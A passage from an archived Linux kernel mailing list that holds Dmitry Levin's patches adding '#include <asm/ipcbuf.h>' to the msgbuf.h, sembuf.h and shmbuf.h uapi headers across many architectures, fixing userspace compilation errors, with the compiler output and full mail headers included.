index 2e83ac7..c70f1d3 100644
--- a/arch/parisc/include/uapi/asm/msgbuf.h
+++ b/arch/parisc/include/uapi/asm/msgbuf.h
@@ -1,6 +1,7 @@
 #ifndef _PARISC_MSGBUF_H
 #define _PARISC_MSGBUF_H
 
+#include <asm/ipcbuf.h>
 #include <asm/bitsperlong.h>
 
 /* 
diff --git a/arch/powerpc/include/uapi/asm/msgbuf.h b/arch/powerpc/include/uapi/asm/msgbuf.h
index dd76743..3b87d25 100644
--- a/arch/powerpc/include/uapi/asm/msgbuf.h
+++ b/arch/powerpc/include/uapi/asm/msgbuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_POWERPC_MSGBUF_H
 #define _ASM_POWERPC_MSGBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The msqid64_ds structure for the PowerPC architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/s390/include/uapi/asm/msgbuf.h b/arch/s390/include/uapi/asm/msgbuf.h
index 1bbdee9..ab04112 100644
--- a/arch/s390/include/uapi/asm/msgbuf.h
+++ b/arch/s390/include/uapi/asm/msgbuf.h
@@ -1,6 +1,8 @@
 #ifndef _S390_MSGBUF_H
 #define _S390_MSGBUF_H
 
+#include <asm/ipcbuf.h>
+
 /* 
  * The msqid64_ds structure for S/390 architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/sparc/include/uapi/asm/msgbuf.h b/arch/sparc/include/uapi/asm/msgbuf.h
index efc7cbe9..699f631 100644
--- a/arch/sparc/include/uapi/asm/msgbuf.h
+++ b/arch/sparc/include/uapi/asm/msgbuf.h
@@ -1,6 +1,8 @@
 #ifndef _SPARC_MSGBUF_H
 #define _SPARC_MSGBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The msqid64_ds structure for sparc64 architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/xtensa/include/uapi/asm/msgbuf.h b/arch/xtensa/include/uapi/asm/msgbuf.h
index 693c967..b75458b 100644
--- a/arch/xtensa/include/uapi/asm/msgbuf.h
+++ b/arch/xtensa/include/uapi/asm/msgbuf.h
@@ -17,6 +17,8 @@
 #ifndef _XTENSA_MSGBUF_H
 #define _XTENSA_MSGBUF_H
 
+#include <asm/ipcbuf.h>
+
 struct msqid64_ds {
 	struct ipc64_perm msg_perm;
 #ifdef __XTENSA_EB__
-- 
ldv



From - Thu Nov 08 21:39:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Dmitry V. Levin" <ldv@altlinux.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: [PATCH 2/3] uapi: fix asm/sembuf.h userspace compilation errors
Date: Thu, 2 Mar 2017 03:22:28 +0300
Lines: 221
Approved: news@gmane.org
Message-ID: <20170302002228.GB27132@altlinux.org>
References: <CAK8P3a3Ptm68i43BT5+kWptDw1koPwexpuFwH3-1naj_xi+arQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1488414192 25206 195.159.176.226 (2 Mar 2017 00:23:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Mar 2017 00:23:12 +0000 (UTC)
Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "David S. Miller" <davem@davemloft.net>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Mar 02 01:23:04 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from mxfilter-048034.atla03.us.yomura.com ([107.189.48.34])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cjEWH-0005FD-Dk
	for sgi-linux-mips@gmane.org; Thu, 02 Mar 2017 01:22:57 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from cvs.linux-mips.org (unknown [148.251.95.138])
	by mxfilter-048034.atla03.us.yomura.com (Halon) with ESMTP
	id 655da3a2-fede-11e6-b719-b499baa2b07a;
	Thu, 02 Mar 2017 00:23:02 +0000 (UTC)
Original-Received: from localhost.localdomain ([127.0.0.1]:35434 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993868AbdCBAW7SccS3 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 2 Mar 2017 01:22:59 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 02 Mar 2017 01:22:44 +0100 (CET)
Original-Received: from vmicros1.altlinux.org ([194.107.17.57]:56174 "EHLO
        vmicros1.altlinux.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S23992289AbdCBAWgu-c73 (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 2 Mar 2017 01:22:36 +0100
Original-Received: from mua.local.altlinux.org (mua.local.altlinux.org [192.168.1.14])
        by vmicros1.altlinux.org (Postfix) with ESMTP id E0EEE72EF7A;
        Thu,  2 Mar 2017 03:22:28 +0300 (MSK)
Original-Received: by mua.local.altlinux.org (Postfix, from userid 508)
        id D61547CCE22; Thu,  2 Mar 2017 03:22:28 +0300 (MSK)
Content-Disposition: inline
In-Reply-To: <CAK8P3a3Ptm68i43BT5+kWptDw1koPwexpuFwH3-1naj_xi+arQ@mail.gmail.com>
X-archive-position: 56956
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ldv@altlinux.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:58119 gmane.linux.kernel.cross-arch:35301 gmane.linux.ports.alpha:4097 gmane.linux.ports.ia64:27664 gmane.linux.ports.parisc:27288 gmane.linux.ports.ppc64.devel:139109 gmane.linux.ports.sparc:24654 gmane.linux.kernel:2421554
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/58119>

Include <asm/ipcbuf.h> to fix asm/sembuf.h userspace compilation errors
like this:

/usr/include/asm/sembuf.h:14:20: error: field 'sem_perm' has incomplete type
  struct ipc64_perm sem_perm; /* permissions .. see ipc.h */
/usr/include/asm/sembuf.h:15:2: error: unknown type name '__kernel_time_t'
  __kernel_time_t sem_otime; /* last semop time */
/usr/include/asm/sembuf.h:16:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t __unused1;
/usr/include/asm/sembuf.h:17:2: error: unknown type name '__kernel_time_t'
  __kernel_time_t sem_ctime; /* last change time */
/usr/include/asm/sembuf.h:18:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t __unused2;
/usr/include/asm/sembuf.h:19:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t sem_nsems; /* no. of semaphores in array */
/usr/include/asm/sembuf.h:20:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t __unused3;
/usr/include/asm/sembuf.h:21:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t __unused4;

Signed-off-by: Dmitry V. Levin <ldv@altlinux.org>
---
 include/uapi/asm-generic/sembuf.h      | 1 +
 arch/alpha/include/uapi/asm/sembuf.h   | 2 ++
 arch/avr32/include/uapi/asm/sembuf.h   | 2 ++
 arch/frv/include/uapi/asm/sembuf.h     | 2 ++
 arch/ia64/include/uapi/asm/sembuf.h    | 2 ++
 arch/m32r/include/uapi/asm/sembuf.h    | 2 ++
 arch/mips/include/uapi/asm/sembuf.h    | 2 ++
 arch/mn10300/include/uapi/asm/sembuf.h | 2 ++
 arch/parisc/include/uapi/asm/sembuf.h  | 1 +
 arch/powerpc/include/uapi/asm/sembuf.h | 2 ++
 arch/s390/include/uapi/asm/sembuf.h    | 2 ++
 arch/sparc/include/uapi/asm/sembuf.h   | 2 ++
 arch/x86/include/uapi/asm/sembuf.h     | 2 ++
 arch/xtensa/include/uapi/asm/sembuf.h  | 1 +
 14 files changed, 25 insertions(+)

diff --git a/include/uapi/asm-generic/sembuf.h b/include/uapi/asm-generic/sembuf.h
index 4cb2c13..1d910d7 100644
--- a/include/uapi/asm-generic/sembuf.h
+++ b/include/uapi/asm-generic/sembuf.h
@@ -1,6 +1,7 @@
 #ifndef __ASM_GENERIC_SEMBUF_H
 #define __ASM_GENERIC_SEMBUF_H
 
+#include <asm/ipcbuf.h>
 #include <asm/bitsperlong.h>
 
 /*
diff --git a/arch/alpha/include/uapi/asm/sembuf.h b/arch/alpha/include/uapi/asm/sembuf.h
index 7b38b15..b6bdd5f 100644
--- a/arch/alpha/include/uapi/asm/sembuf.h
+++ b/arch/alpha/include/uapi/asm/sembuf.h
@@ -1,6 +1,8 @@
 #ifndef _ALPHA_SEMBUF_H
 #define _ALPHA_SEMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /* 
  * The semid64_ds structure for alpha architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/avr32/include/uapi/asm/sembuf.h b/arch/avr32/include/uapi/asm/sembuf.h
index 6c6f7cf..ec4ddd6 100644
--- a/arch/avr32/include/uapi/asm/sembuf.h
+++ b/arch/avr32/include/uapi/asm/sembuf.h
@@ -1,6 +1,8 @@
 #ifndef _UAPI__ASM_AVR32_SEMBUF_H
 #define _UAPI__ASM_AVR32_SEMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
 * The semid64_ds structure for AVR32 architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/frv/include/uapi/asm/sembuf.h b/arch/frv/include/uapi/asm/sembuf.h
index 164b127..0d73641 100644
--- a/arch/frv/include/uapi/asm/sembuf.h
+++ b/arch/frv/include/uapi/asm/sembuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_SEMBUF_H
 #define _ASM_SEMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The semid64_ds structure for FR-V architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/ia64/include/uapi/asm/sembuf.h b/arch/ia64/include/uapi/asm/sembuf.h
index 1340fbc..2e218b0 100644
--- a/arch/ia64/include/uapi/asm/sembuf.h
+++ b/arch/ia64/include/uapi/asm/sembuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_IA64_SEMBUF_H
 #define _ASM_IA64_SEMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The semid64_ds structure for IA-64 architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/m32r/include/uapi/asm/sembuf.h b/arch/m32r/include/uapi/asm/sembuf.h
index c9873d6..58ad1f8 100644
--- a/arch/m32r/include/uapi/asm/sembuf.h
+++ b/arch/m32r/include/uapi/asm/sembuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_M32R_SEMBUF_H
 #define _ASM_M32R_SEMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The semid64_ds structure for m32r architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/mips/include/uapi/asm/sembuf.h b/arch/mips/include/uapi/asm/sembuf.h
index e1085ac..a55ab3c 100644
--- a/arch/mips/include/uapi/asm/sembuf.h
+++ b/arch/mips/include/uapi/asm/sembuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_SEMBUF_H
 #define _ASM_SEMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The semid64_ds structure for the MIPS architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/mn10300/include/uapi/asm/sembuf.h b/arch/mn10300/include/uapi/asm/sembuf.h
index 301f3f9..3529f55 100644
--- a/arch/mn10300/include/uapi/asm/sembuf.h
+++ b/arch/mn10300/include/uapi/asm/sembuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_SEMBUF_H
 #define _ASM_SEMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The semid64_ds structure for MN10300 architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/parisc/include/uapi/asm/sembuf.h b/arch/parisc/include/uapi/asm/sembuf.h
index c20971b..cff5e43 100644
--- a/arch/parisc/include/uapi/asm/sembuf.h
+++ b/arch/parisc/include/uapi/asm/sembuf.h
@@ -1,6 +1,7 @@
 #ifndef _PARISC_SEMBUF_H
 #define _PARISC_SEMBUF_H
 
+#include <asm/ipcbuf.h>
 #include <asm/bitsperlong.h>
 
 /* 
diff --git a/arch/powerpc/include/uapi/asm/sembuf.h b/arch/powerpc/include/uapi/asm/sembuf.h
index 99a4193..d001c0a 100644
--- a/arch/powerpc/include/uapi/asm/sembuf.h
+++ b/arch/powerpc/include/uapi/asm/sembuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_POWERPC_SEMBUF_H
 #define _ASM_POWERPC_SEMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * This program is free software; you can redistribute it and/or
  * modify it under the terms of the GNU General Public License
diff --git a/arch/s390/include/uapi/asm/sembuf.h b/arch/s390/include/uapi/asm/sembuf.h
index 32626b0..734c9de 100644
--- a/arch/s390/include/uapi/asm/sembuf.h
+++ b/arch/s390/include/uapi/asm/sembuf.h
@@ -1,6 +1,8 @@
 #ifndef _S390_SEMBUF_H
 #define _S390_SEMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /* 
  * The semid64_ds structure for S/390 architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/sparc/include/uapi/asm/sembuf.h b/arch/sparc/include/uapi/asm/sembuf.h
index faee1be..28f7060 100644
--- a/arch/sparc/include/uapi/asm/sembuf.h
+++ b/arch/sparc/include/uapi/asm/sembuf.h
@@ -1,6 +1,8 @@
 #ifndef _SPARC_SEMBUF_H
 #define _SPARC_SEMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The semid64_ds structure for sparc architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/x86/include/uapi/asm/sembuf.h b/arch/x86/include/uapi/asm/sembuf.h
index cc2d6a3..d88cc89 100644
--- a/arch/x86/include/uapi/asm/sembuf.h
+++ b/arch/x86/include/uapi/asm/sembuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_X86_SEMBUF_H
 #define _ASM_X86_SEMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The semid64_ds structure for x86 architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/xtensa/include/uapi/asm/sembuf.h b/arch/xtensa/include/uapi/asm/sembuf.h
index c158704..2494c41 100644
--- a/arch/xtensa/include/uapi/asm/sembuf.h
+++ b/arch/xtensa/include/uapi/asm/sembuf.h
@@ -21,6 +21,7 @@
 #ifndef _XTENSA_SEMBUF_H
 #define _XTENSA_SEMBUF_H
 
+#include <asm/ipcbuf.h>
 #include <asm/byteorder.h>
 
 struct semid64_ds {
-- 
ldv



From - Thu Nov 08 21:39:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Dmitry V. Levin" <ldv@altlinux.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: [PATCH 3/3] uapi: fix asm/shmbuf.h userspace compilation errors
Date: Thu, 2 Mar 2017 03:22:53 +0300
Lines: 228
Approved: news@gmane.org
Message-ID: <20170302002253.GC27132@altlinux.org>
References: <CAK8P3a3Ptm68i43BT5+kWptDw1koPwexpuFwH3-1naj_xi+arQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1488414208 30525 195.159.176.226 (2 Mar 2017 00:23:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Mar 2017 00:23:28 +0000 (UTC)
Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>, linux-arch@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Mar 02 01:23:22 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from mxfilter-048034.atla03.us.yomura.com ([107.189.48.34])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cjEWg-0007K2-5F
	for sgi-linux-mips@gmane.org; Thu, 02 Mar 2017 01:23:22 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from cvs.linux-mips.org (unknown [148.251.95.138])
	by mxfilter-048034.atla03.us.yomura.com (Halon) with ESMTP
	id 73ccb9cb-fede-11e6-b719-b499baa2b07a;
	Thu, 02 Mar 2017 00:23:26 +0000 (UTC)
Original-Received: from localhost.localdomain ([127.0.0.1]:35666 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993871AbdCBAXXOACNm (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 2 Mar 2017 01:23:23 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 02 Mar 2017 01:23:06 +0100 (CET)
Original-Received: from vmicros1.altlinux.org ([194.107.17.57]:57376 "EHLO
        vmicros1.altlinux.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S23993875AbdCBAW7M1Z83 (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 2 Mar 2017 01:22:59 +0100
Original-Received: from mua.local.altlinux.org (mua.local.altlinux.org [192.168.1.14])
        by vmicros1.altlinux.org (Postfix) with ESMTP id BC58E72EF7B;
        Thu,  2 Mar 2017 03:22:53 +0300 (MSK)
Original-Received: by mua.local.altlinux.org (Postfix, from userid 508)
        id B01177CCE22; Thu,  2 Mar 2017 03:22:53 +0300 (MSK)
Content-Disposition: inline
In-Reply-To: <CAK8P3a3Ptm68i43BT5+kWptDw1koPwexpuFwH3-1naj_xi+arQ@mail.gmail.com>
X-archive-position: 56957
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ldv@altlinux.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:58120 gmane.linux.kernel.cross-arch:35302 gmane.linux.ports.alpha:4098 gmane.linux.ports.ia64:27665 gmane.linux.ports.parisc:27289 gmane.linux.ports.ppc64.devel:139110 gmane.linux.ports.sparc:24655 gmane.linux.kernel:2421556
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/58120>

Include <asm/ipcbuf.h> to fix asm/shmbuf.h userspace compilation errors
like this:

/usr/include/asm-generic/shmbuf.h:26:20: error: field 'shm_perm' has incomplete type
  struct ipc64_perm shm_perm; /* operation perms */
/usr/include/asm-generic/shmbuf.h:28:2: error: unknown type name '__kernel_time_t'
  __kernel_time_t  shm_atime; /* last attach time */
/usr/include/asm-generic/shmbuf.h:32:2: error: unknown type name '__kernel_time_t'
  __kernel_time_t  shm_dtime; /* last detach time */
/usr/include/asm-generic/shmbuf.h:36:2: error: unknown type name '__kernel_time_t'
  __kernel_time_t  shm_ctime; /* last change time */
/usr/include/asm-generic/shmbuf.h:40:2: error: unknown type name '__kernel_pid_t'
  __kernel_pid_t  shm_cpid; /* pid of creator */
/usr/include/asm-generic/shmbuf.h:41:2: error: unknown type name '__kernel_pid_t'
  __kernel_pid_t  shm_lpid; /* pid of last operator */
/usr/include/asm-generic/shmbuf.h:42:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t shm_nattch; /* no. of current attaches */
/usr/include/asm-generic/shmbuf.h:43:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t __unused4;
/usr/include/asm-generic/shmbuf.h:44:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t __unused5;
/usr/include/asm-generic/shmbuf.h:48:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t shmmax;
/usr/include/asm-generic/shmbuf.h:49:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t shmmin;
/usr/include/asm-generic/shmbuf.h:50:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t shmmni;
/usr/include/asm-generic/shmbuf.h:51:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t shmseg;
/usr/include/asm-generic/shmbuf.h:52:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t shmall;
/usr/include/asm-generic/shmbuf.h:53:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t __unused1;
/usr/include/asm-generic/shmbuf.h:54:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t __unused2;
/usr/include/asm-generic/shmbuf.h:55:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t __unused3;
/usr/include/asm-generic/shmbuf.h:56:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t __unused4;

Signed-off-by: Dmitry V. Levin <ldv@altlinux.org>
---
 include/uapi/asm-generic/shmbuf.h      | 1 +
 arch/alpha/include/uapi/asm/shmbuf.h   | 2 ++
 arch/avr32/include/uapi/asm/shmbuf.h   | 2 ++
 arch/frv/include/uapi/asm/shmbuf.h     | 2 ++
 arch/ia64/include/uapi/asm/shmbuf.h    | 2 ++
 arch/m32r/include/uapi/asm/shmbuf.h    | 2 ++
 arch/mips/include/uapi/asm/shmbuf.h    | 2 ++
 arch/mn10300/include/uapi/asm/shmbuf.h | 2 ++
 arch/parisc/include/uapi/asm/shmbuf.h  | 1 +
 arch/powerpc/include/uapi/asm/shmbuf.h | 2 ++
 arch/s390/include/uapi/asm/shmbuf.h    | 2 ++
 arch/sparc/include/uapi/asm/shmbuf.h   | 2 ++
 arch/xtensa/include/uapi/asm/shmbuf.h  | 2 ++
 13 files changed, 24 insertions(+)

diff --git a/include/uapi/asm-generic/shmbuf.h b/include/uapi/asm-generic/shmbuf.h
index 7e9fb2f..2a6d508 100644
--- a/include/uapi/asm-generic/shmbuf.h
+++ b/include/uapi/asm-generic/shmbuf.h
@@ -1,6 +1,7 @@
 #ifndef __ASM_GENERIC_SHMBUF_H
 #define __ASM_GENERIC_SHMBUF_H
 
+#include <asm/ipcbuf.h>
 #include <asm/bitsperlong.h>
 
 /*
diff --git a/arch/alpha/include/uapi/asm/shmbuf.h b/arch/alpha/include/uapi/asm/shmbuf.h
index 37ee84f..6156099 100644
--- a/arch/alpha/include/uapi/asm/shmbuf.h
+++ b/arch/alpha/include/uapi/asm/shmbuf.h
@@ -1,6 +1,8 @@
 #ifndef _ALPHA_SHMBUF_H
 #define _ALPHA_SHMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /* 
  * The shmid64_ds structure for alpha architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/avr32/include/uapi/asm/shmbuf.h b/arch/avr32/include/uapi/asm/shmbuf.h
index b94cf8b..c8e5234 100644
--- a/arch/avr32/include/uapi/asm/shmbuf.h
+++ b/arch/avr32/include/uapi/asm/shmbuf.h
@@ -1,6 +1,8 @@
 #ifndef _UAPI__ASM_AVR32_SHMBUF_H
 #define _UAPI__ASM_AVR32_SHMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The shmid64_ds structure for i386 architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/frv/include/uapi/asm/shmbuf.h b/arch/frv/include/uapi/asm/shmbuf.h
index 4c6e711..943746c 100644
--- a/arch/frv/include/uapi/asm/shmbuf.h
+++ b/arch/frv/include/uapi/asm/shmbuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_SHMBUF_H
 #define _ASM_SHMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The shmid64_ds structure for FR-V architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/ia64/include/uapi/asm/shmbuf.h b/arch/ia64/include/uapi/asm/shmbuf.h
index 585002a..ca81d77e 100644
--- a/arch/ia64/include/uapi/asm/shmbuf.h
+++ b/arch/ia64/include/uapi/asm/shmbuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_IA64_SHMBUF_H
 #define _ASM_IA64_SHMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The shmid64_ds structure for IA-64 architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/m32r/include/uapi/asm/shmbuf.h b/arch/m32r/include/uapi/asm/shmbuf.h
index b0cdf0a..714de6e 100644
--- a/arch/m32r/include/uapi/asm/shmbuf.h
+++ b/arch/m32r/include/uapi/asm/shmbuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_M32R_SHMBUF_H
 #define _ASM_M32R_SHMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The shmid64_ds structure for M32R architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/mips/include/uapi/asm/shmbuf.h b/arch/mips/include/uapi/asm/shmbuf.h
index f994438..f47d193 100644
--- a/arch/mips/include/uapi/asm/shmbuf.h
+++ b/arch/mips/include/uapi/asm/shmbuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_SHMBUF_H
 #define _ASM_SHMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The shmid64_ds structure for the MIPS architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/mn10300/include/uapi/asm/shmbuf.h b/arch/mn10300/include/uapi/asm/shmbuf.h
index 8f300cc..71df684 100644
--- a/arch/mn10300/include/uapi/asm/shmbuf.h
+++ b/arch/mn10300/include/uapi/asm/shmbuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_SHMBUF_H
 #define _ASM_SHMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The shmid64_ds structure for MN10300 architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/parisc/include/uapi/asm/shmbuf.h b/arch/parisc/include/uapi/asm/shmbuf.h
index 750e13e..d8105ef 100644
--- a/arch/parisc/include/uapi/asm/shmbuf.h
+++ b/arch/parisc/include/uapi/asm/shmbuf.h
@@ -1,6 +1,7 @@
 #ifndef _PARISC_SHMBUF_H
 #define _PARISC_SHMBUF_H
 
+#include <asm/ipcbuf.h>
 #include <asm/bitsperlong.h>
 
 /* 
diff --git a/arch/powerpc/include/uapi/asm/shmbuf.h b/arch/powerpc/include/uapi/asm/shmbuf.h
index 8efa396..7937289 100644
--- a/arch/powerpc/include/uapi/asm/shmbuf.h
+++ b/arch/powerpc/include/uapi/asm/shmbuf.h
